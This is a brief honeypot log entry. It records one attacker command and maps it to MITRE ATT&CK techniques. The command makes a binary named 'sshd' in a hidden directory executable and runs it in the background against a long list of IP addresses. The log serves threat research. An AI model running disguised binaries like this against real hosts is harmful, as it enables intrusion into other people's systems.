Honeypot attack session (period 2024), commands issued:
chmod +x ./.737239672310228377/sshd;nohup ./.737239672310228377/sshd 3.80.112.42 62.12.114.117 202.129.205.122 59.55.146.27 208.65.84.143 36.108.168.4 139.198.9.27 37.58.18.181 62.72.1.151 88.218.249.242 114.113.151.152 183.252.11.28 104.234.224.136 212.127.78.147 107.151.244.11 47.236.64.91 43.248.100.237 202.5.16.82 113.250.187.222 117.161.138.2 154.12.187.10 110.42.98.219 103.145.145.82 208.65.84.84 108.165.94.231 54.241.209.239 125.122.27.208 125.124.179.148 110.42.98.245 210.209.186.117 104.168.117.168 14.215.136.37 208.65.84.32 54.229.73.10 124.118.249.114 23.94.136.106 38.180.142.225 188.225.42.127 222.77.96.7 64.225.76.134 193.169.244.205 222.92.5.220 42.123.123.79 103.36.193.32 103.244.80.196 112.16.228.85 139.199.1.94 37.60.225.36 138.68.141.221 122.228.207.106 175.47.180.25 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter